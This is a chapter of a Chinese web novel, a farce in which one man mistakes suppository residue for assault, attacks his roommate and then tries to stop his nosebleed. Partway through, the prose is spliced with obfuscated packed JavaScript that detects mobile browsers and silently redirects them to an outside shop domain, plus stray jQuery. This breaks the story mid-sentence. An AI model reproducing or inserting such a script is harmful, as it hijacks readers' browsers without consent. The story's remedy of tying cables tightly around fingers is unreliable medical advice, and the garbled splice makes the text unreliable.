蒋永昼的眼皮艰难地掀开一条缝,正午的太阳像针一样刺进来,他又闭上了眼睛。

    身体像被拆散了重装,每一块骨头都在叫嚣着酸痛,尤其是腰,像被谁踢了一脚。

    轻轻挪动身体,蒋永昼感觉半边身子被重物死死压住。

    他转过头,视线模糊一片。

    但那个轮廓……是王仰春?

    蒋永昼从床头柜上,摸索到眼镜戴上。

    视野清晰了,王仰春的脸近在咫尺,呼吸均匀,甚至一条胳膊还横箍在他的腰腹上!

    他怎么躺我床上了?

    大脑一片空白,短暂的茫然过后,杂乱的记忆碎片回潮:王仰春说自己发烧了,自己还让他帮忙请假来着。

    蒋永昼叹了口气,他挪开王仰春压着自己的手臂。

    一掀开被子,蒋永昼瞬间打了个哆嗦。

    自己身上潮乎乎的,湿凉的空气袭来,异常冰冷。

    穿好拖鞋,刚勉强站直,一股难以言喻的不适感让他愣住!

    一种怪异、滑腻、甚至带着一丝异样的清凉感,清晰地传递到神经末梢。

    蒋永昼怔愣片刻,怀着满腹疑窦,下楼走向卫生间。

    刚关上卫生间的门,蒋永昼就赶紧查看——

    嗡——!

    嗡嗡嗡嗡嗡嗡嗡嗡——!

    无数尖锐的蜂鸣在颅腔内轰然炸响!

    大脑瞬间被刺目的白光占据,彻底死机。

    视野里,赫然是……

    空气变得黏稠,每一次呼吸都异常艰难。

    蒋永昼瘫坐在马桶上。

    他拼命想驱散这个可怕的念头,可眼前的铁证,让他不得不认清楚现实!

    蒋永昼颤抖着手,揪过两张纸巾,带着绝望,缓缓地探向那个部位……

    当纸巾抽回,上面清晰地印染着那抹刺眼的白,中间赫然夹杂着几丝暗红的血丝时——

    蒋永昼的世界,彻底崩塌了。

    幼儿园的橡皮泥、小学的眼保健操音乐、中学操场上刺目的阳光、高考卷子上密密麻麻的字、父亲葬礼上冰冷的雨……

    还有昨天王仰春对自己的职场性骚扰……

    无数画面在他眼前疯狂旋转、撕裂、坠落。

    他被玷污了……

    不知过了多久,蒋永昼像个被抽空了灵魂的木偶,拖着灌铅的双腿回到卧室。

    手里攥着一条毛巾,水珠滴滴答答落在地板上。

    王仰春还在自己的床上沉睡,呼吸均匀,面容安详。

    没有任何犹豫,没有任何缓冲!

    蒋永昼猛地将湿冷的毛巾捂盖在王仰春的口鼻之上!

    紧接着,另一只紧握的拳头,带着全身的力量和滔天的恨意,对着王仰春的面门,发起猛攻!

    “呃——呜!!!”

    窒息感和面部的剧痛让王仰春惊醒!

    视野一片黑暗,口鼻被堵死,身体被死死压住,只有面骨传来的碎裂般的剧痛!

    惊怒瞬间点燃了他所有的血液!

    凭着残存的格斗本能,王仰春胡乱抓起床头柜上的台灯,朝着施暴者的方向猛砸过去!

    砰!啪!

    一声脆响,伴随着碎裂的声音,压制的力量骤然消失。

    王仰春猛地掀开脸上的湿冷束缚,像濒死的鱼一样大口大口地吸入空气。

    视野聚焦,惊魂未定。

    可面前站着的,却是双眼赤红,甚至……还隐隐闪着屈辱水光的蒋永昼。

    “你他妈有病啊!蒋永昼!操!!!”王仰春的声音呛了水,撕裂沙哑。

    蒋永昼看着他,嘴唇剧烈地颤抖着,眼泪再也控制不住,顺着脸颊滚落。

    他大口大口抽着气,张了几次嘴,想说什么,可最终,瘪着嘴一个字也没能说出来。

    看到蒋永昼这副受害者的样子,王仰春的怒火更是直冲天灵盖!

    “操他妈的!你他妈打老子!你他妈的还哭?!你哭个屁啊!!!”王仰春咆哮着,鼻梁剧痛,忽然感觉一股温热的液体从鼻子中流了下来。

    王仰春伸手一抹——满手刺目的猩红,“蒋、永、昼!!!”

    带着毁灭一切的狂怒,王仰春将手中变形的额温枪狠狠掼在地上!

    “啪嚓!”塑料和电子元件碎裂的声音清脆刺耳。

    下一秒,王仰春像一头狂兽,狠狠推了蒋永昼肩膀一把,之后,他带着毁天灭地的气势,大步流星地冲下了楼。

    蒋永昼眼镜被打掉了,他摸索了半天,最终捡起了失去一个镜腿的残骸。

    他扶着这副残骸,忽然看到了王仰春那边床头柜上的白色药盒。

    蒋永昼拿起来,“对乙酰氨基酚栓?”

    他药盒旁边,有三个被挤空了的、小小的塑料外壳。

    轰!

    又一道惊雷!

    白色物质……退热栓……残余的药膏……血丝……

    所有线索再次串联!

    误会……误会王仰春了。

    一股比刚才的屈辱更甚百倍的的羞耻感,瞬间将蒋永昼吞噬!

    他急忙冲下楼,看到王仰春刚从卫生间出来。

    王仰春鼻子里塞着两个被血浸透、几乎要滴下来的纸团,样子狼狈又可笑,但那双眼睛里的怒火,足以将人焚烧殆尽。

    王仰春拽出来自己的拉杆箱,开始粗暴地收拾东西。

    拉杆箱被摔得砰砰作响,每一件衣服的塞入都像一记重锤砸在蒋永昼的心上。

    “对不起!王仰春!我错怪你了!我刚才……刚才……”蒋永昼站在王仰春旁边,语无伦次。

    “小兔崽子!你给我闭嘴!”王仰春带着浓重的鼻音。

    “……”

    王仰春泄愤般地把最后一件衣服砸进箱子,合上箱子。

    低头一看,浅米色毛衣前襟已被鼻血染得一片狼藉。

    他咒骂了一句,猛地掀开箱子,从最底下抽出一件崭新的白衬衫,把染血的毛衣狠狠摔在地上,开始换衬衫。

    刚套上干净的衬衫,还没来得及系扣子,鼻下的纸巾一沉,带着新一轮的鼻血毫不客气地落在了崭新的衬衫前襟上。

    “操操操操!!!!!!”

    王仰春发出一声声濒临崩溃的怒吼,再次冲进卫生间。

    蒋永昼被钉在原地,他不敢跟进去,只能扶着残破的眼镜,听着卫生间里传来水流的哗哗声,以及王仰春震耳欲聋,且带着鼻音的咆哮与咒骂。

    挣扎了片刻,强烈的愧疚感

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625288|206245||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    还是战胜了恐惧。

    蒋永昼挪到卫生间门口,“王仰春……我,我知道有个办法能止住鼻血……”

    “不他妈用你管!!!滚!!!”

    话音未落,卫生间的门猛地被拉开!

    王仰春顶着一脸水珠和再次汹涌而下的鼻血,像一辆失控的跑车,狠狠撞开门口的蒋永昼。

    蒋永昼被撞得一个趔趄,只能手足无措、心惊胆战地看着王仰春再次粗暴地扯下染血的新衬衫,然后对着那可怜的行李箱“咣咣咣咣”。

    很快,蒋永昼最担心的事情发生了。

    门口传来了急促、有力、带着明显怒气的敲门声。

    蒋永昼心头一紧,慌忙跑去开门。

    门外站着一位抱着宠物狗的中年女士,她瞪着愤怒的三角眼,想要越过蒋永昼朝里面张望,“你们家怎么回事啊?拆房子呢?还让不让人……”

    “对不起,对不……”蒋永昼的道歉刚开了个头,一道血色残影就粗暴地将他挤到一边。

    王仰春堵在门口,高大的身形极具压迫感。

    再加上鼻子里塞着那两个浸透了血、几乎要滴下来的纸团,和凶狠如猛兽的眼神,让那个女士后退了一步。

    “拆你妈的房子!别他妈地没事儿找事!再说一句给他妈你家拆了!!”

    中年女士被骂得一愣,随即强撑起气势,“你这……你这人怎么说话呢!你再这样……我就……报警!”

    “警局是我家开的!!!你他妈报吧,赶紧报!!!”王仰春恶狠狠地指着对方怀里的狗,“赶紧给我滚!再看你上来,把你狗炖了吃了!”

    那女人脸都吓白了,抱着狗,慌不择路地就跑了。

    “砰!”王仰春狠狠摔上门,他拄着门,胸膛剧烈起伏。

    他喘着粗气,扫过一旁惊魂未定的蒋永昼,烦躁地一把扯下鼻子底下那两个粘腻湿滑的血纸团,扔在地上。

    他仰起头,感受了两秒鼻腔里的畅快气流,然后下一秒,那股熟悉的温热潮意又涌了出来。

    王仰春认命般地从旁边的桌子上粗暴地揪了两大团新纸,胡乱地塞进鼻孔。

    然后,他转过身,眼神像刀子一样剐着蒋永昼,“蒋永昼!”

    蒋永昼浑身一颤,“嗯”了一声。

    “我现在给你个机会,马上给我把鼻血止住!要是止不住……”王仰春的声音带着一种令人毛骨悚然的平静,“老子就把你家,连你这个人,一块砸、成、废、墟!”

    威胁,掷地有声,带着玉石俱焚的决绝。

    蒋永昼毫不怀疑,只要自己失败,王仰春绝对会说到做到。

    几分钟后,蒋永昼拿着两根手机充电线跑了回来。

    在王仰春杀人般的目光注视下,蒋永昼将充电线死死地、紧紧地系在王仰春左右手的中指根部,勒得指节发白。

    王仰春低头,看着自己两根被电线勒得深陷、几乎失去血色的中指,只觉得荒谬绝伦。

    片刻后,他缓缓地举起自己被束缚的两根中指,直直地对准了蒋永昼的脸。

    “蒋永昼。”王仰春的声音低沉得可怕,“我这两根手指头……要是今天因为你这个狗屁法子不过血,坏死了……”他深吸一口气,“我他妈一定会杀了你。”